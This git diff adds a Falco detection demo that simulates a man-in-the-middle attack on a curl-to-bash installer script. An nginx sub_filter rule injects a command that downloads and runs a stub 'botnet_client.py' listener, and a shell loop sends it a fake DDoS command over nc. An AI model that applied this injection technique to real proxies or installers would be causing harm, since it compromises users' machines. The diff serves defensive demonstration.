diff --git a/examples/mitm-sh-installer/README.md b/examples/mitm-sh-installer/README.md
new file mode 100644
index 00000000..4d6124da
--- /dev/null
+++ b/examples/mitm-sh-installer/README.md
@@ -0,0 +1,78 @@
+#Demo of falco with man-in-the-middle attacks on installation scripts
+
+For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
+
+## Demo architecture
+
+### Initial setup
+
+Make sure no prior `botnet_client.py` processes are lying around.
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
+* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
+* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
+* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
+* falco: will detect the activities of botnet_client.py.
+
+### Download `install-software.sh`, see botnet client running
+
+Run the following to fetch and execute the installation script,
+which also installs the botnet client:
+
+```
+$ curl http://localhost/install-software.sh | bash
+```
+
+You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
+
+Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
+
+```
+$ ps auxww | grep python
+...
+root 19983 0.1 0.4 33992 8832 pts/1 S 13:34 0:00 python ./botnet_client.py
+
+$ telnet localhost 1234
+Trying ::1...
+Trying 127.0.0.1...
+Connected to localhost.
+Escape character is '^]'.
+```
+
+You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
+
+```
+attacker_botnet_master | Trying to contact compromised machine...
+attacker_botnet_master | Waiting for botnet command and control commands...
+attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
+attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
+```
+
+At this point, kill the botnet_client.py process to clean things up.
+
+### Run installation script again using `fbash`, note falco warnings.
+
+If you run the installation script again:
+
+```
+curl http://localhost/install-software.sh | ./fbash
+```
+
+In the docker-compose output, you'll see the following falco warnings:
+
+```
+falco | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
+falco | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
+falco | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
+falco | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+falco | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+```
diff --git a/examples/mitm-sh-installer/botnet_master.sh b/examples/mitm-sh-installer/botnet_master.sh
new file mode 100755
index 00000000..e62a6718
--- /dev/null
+++ b/examples/mitm-sh-installer/botnet_master.sh
@@ -0,0 +1,7 @@
+#!/bin/sh
+
+while true; do
+ echo "Trying to contact compromised machine..."
+ echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
+ sleep 5
+done
diff --git a/examples/mitm-sh-installer/demo.yml b/examples/mitm-sh-installer/demo.yml
new file mode 100644
index 00000000..095af948
--- /dev/null
+++ b/examples/mitm-sh-installer/demo.yml
@@ -0,0 +1,51 @@
+# Owned by software vendor, serving install-software.sh.
+apache:
+ container_name: apache
+ image: httpd:2.4
+ volumes:
+ - ${PWD}/web_root:/usr/local/apache2/htdocs
+
+# Owned by software vendor, compromised by attacker.
+nginx:
+ container_name: mitm_nginx
+ image: nginx:latest
+ links:
+ - apache
+ ports:
+ - "80:80"
+ volumes:
+ - ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
+
+# Owned by attacker.
+evil_apache:
+ container_name: evil_apache
+ image: httpd:2.4
+ volumes:
+ - ${PWD}/evil_web_root:/usr/local/apache2/htdocs
+ ports:
+ - "9090:80"
+
+# Owned by attacker, constantly trying to contact client.
+attacker_botnet_master:
+ container_name: attacker_botnet_master
+ image: alpine:latest
+ net: host
+ volumes:
+ - ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
+ command:
+ - /tmp/botnet_master.sh
+
+# Owned by client, detects attack by attacker
+falco:
+ container_name: falco
+ image: sysdig/falco:latest
+ privileged: true
+ volumes:
+ - /var/run/docker.sock:/host/var/run/docker.sock
+ - /dev:/host/dev
+ - /proc:/host/proc:ro
+ - /boot:/host/boot:ro
+ - /lib/modules:/host/lib/modules:ro
+ - /usr:/host/usr:ro
+ - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
+ tty: true
diff --git a/examples/mitm-sh-installer/evil_web_root/botnet_client.py b/examples/mitm-sh-installer/evil_web_root/botnet_client.py
new file mode 100644
index 00000000..6c60c4e8
--- /dev/null
+++ b/examples/mitm-sh-installer/evil_web_root/botnet_client.py
@@ -0,0 +1,18 @@
+import socket;
+import signal;
+import os;
+
+os.close(0);
+os.close(1);
+os.close(2);
+
+signal.signal(signal.SIGINT,signal.SIG_IGN);
+serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+serversocket.bind(('0.0.0.0', 1234))
+serversocket.listen(5);
+while 1:
+ (clientsocket, address) = serversocket.accept();
+ clientsocket.send('Waiting for botnet command and control commands...\n');
+ command = clientsocket.recv(1024)
+ clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
+ clientsocket.close()
diff --git a/examples/mitm-sh-installer/fbash b/examples/mitm-sh-installer/fbash
new file mode 100755
index 00000000..1613c8ab
--- /dev/null
+++ b/examples/mitm-sh-installer/fbash
@@ -0,0 +1,15 @@
+#!/bin/bash
+
+SID=`ps --no-heading -o sess --pid $$`
+
+if [ $SID -ne $$ ]; then
+ # Not currently a session leader? Run a copy of ourself in a new
+ # session, with copies of stdin/stdout/stderr.
+ setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
+ FBASH=$!
+ trap "kill $FBASH; exit" SIGINT SIGTERM
+ wait $FBASH
+else
+ # Just evaluate the commands (from stdin)
+ source /dev/stdin
+fi
diff --git a/examples/mitm-sh-installer/nginx.conf b/examples/mitm-sh-installer/nginx.conf
new file mode 100644
index 00000000..34e93600
--- /dev/null
+++ b/examples/mitm-sh-installer/nginx.conf
@@ -0,0 +1,12 @@
+http {
+ server {
+ location / {
+ sub_filter_types '*';
+ sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
+ sub_filter_once off;
+ proxy_pass http://apache:80;
+ }
+ }
+}
+events {
+}
diff --git a/examples/mitm-sh-installer/web_root/install-software.sh b/examples/mitm-sh-installer/web_root/install-software.sh
new file mode 100644
index 00000000..821bf09e
--- /dev/null
+++ b/examples/mitm-sh-installer/web_root/install-software.sh
@@ -0,0 +1,156 @@
+#!/bin/bash
+#
+# Copyright (C) 2013-2014 My Company inc.
+#
+# This file is part of my-software
+#
+# my-software is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2 as
+# published by the Free Software Foundation.
+#
+# my-software is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with my-software. If not, see .
+#
+set -e
+
+function install_rpm {
+ if ! hash curl > /dev/null 2>&1; then
+ echo "* Installing curl"
+ yum -q -y install curl
+ fi
+
+ echo "*** Installing my-software public key"
+ # A rpm --import command would normally be here
+
+ echo "*** Installing my-software repository"
+ # A curl path-to.repo would normally be here
+
+ echo "*** Installing my-software"
+ # A yum -q -y install my-software command would normally be here
+
+ echo "*** my-software Installed!"
+}
+
+function install_deb {
+ export DEBIAN_FRONTEND=noninteractive
+
+ if ! hash curl > /dev/null 2>&1; then
+ echo "* Installing curl"
+ apt-get -qq -y install curl < /dev/null
+ fi
+
+ echo "*** Installing my-software public key"
+ # A curl | apt-key add - command would normally be here
+
+ echo "*** Installing my-software repository"
+ # A curl path-to.list would normally be here
+
+ echo "*** Installing my-software"
+ # An apt-get -qq -y install my-software command would normally be here
+
+ echo "*** my-software Installed!"
+}
+
+function unsupported {
+ echo 'Unsupported operating system. Please consider writing to the mailing list at'
+ echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
+ echo 'installation.'
+ exit 1
+}
+
+if [ $(id -u) != 0 ]; then
+ echo "Installer must be run as root (or with sudo)."
+# exit 1
+fi
+
+echo "* Detecting operating system"
+
+ARCH=$(uname -m)
+if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
+ unsupported
+fi
+
+if [ -f /etc/debian_version ]; then
+ if [ -f /etc/lsb-release ]; then
+ . /etc/lsb-release
+ DISTRO=$DISTRIB_ID
+ VERSION=${DISTRIB_RELEASE%%.*}
+ else
+ DISTRO="Debian"
+ VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
+ fi
+
+ case "$DISTRO" in
+
+ "Ubuntu")
+ if [ $VERSION -ge 10 ]; then
+ install_deb
+ else
+ unsupported
+ fi
+ ;;
+
+ "LinuxMint")
+ if [ $VERSION -ge 9 ]; then
+ install_deb
+ else
+ unsupported
+ fi
+ ;;
+
+ "Debian")
+ if [ $VERSION -ge 6 ]; then
+ install_deb
+ elif [[ $VERSION == *sid* ]]; then
+ install_deb
+ else
+ unsupported
+ fi
+ ;;
+
+ *)
+ unsupported
+ ;;
+
+ esac
+
+elif [ -f /etc/system-release-cpe ]; then
+ DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
+ VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
+
+ case "$DISTRO" in
+
+ "oracle" | "centos" | "redhat")
+ if [ $VERSION -ge 6 ]; then
+ install_rpm
+ else
+ unsupported
+ fi
+ ;;
+
+ "amazon")
+ install_rpm
+ ;;
+
+ "fedoraproject")
+ if [ $VERSION -ge 13 ]; then
+ install_rpm
+ else
+ unsupported
+ fi
+ ;;
+
+ *)
+ unsupported
+ ;;
+
+ esac
+
+else
+ unsupported
+fi
diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml
index 9b5c6097..038c6a42 100644
--- a/rules/falco_rules.yaml
+++ b/rules/falco_rules.yaml
@@ -37,7 +37,7 @@
- macro: modify
condition: rename or remove
-
+
- macro: spawned_process
condition: evt.type = execve and evt.dir=<
@@ -320,7 +320,7 @@
# (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
- rule: create_files_below_dev
desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
- condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null
+ condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr)
output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
priority: WARNING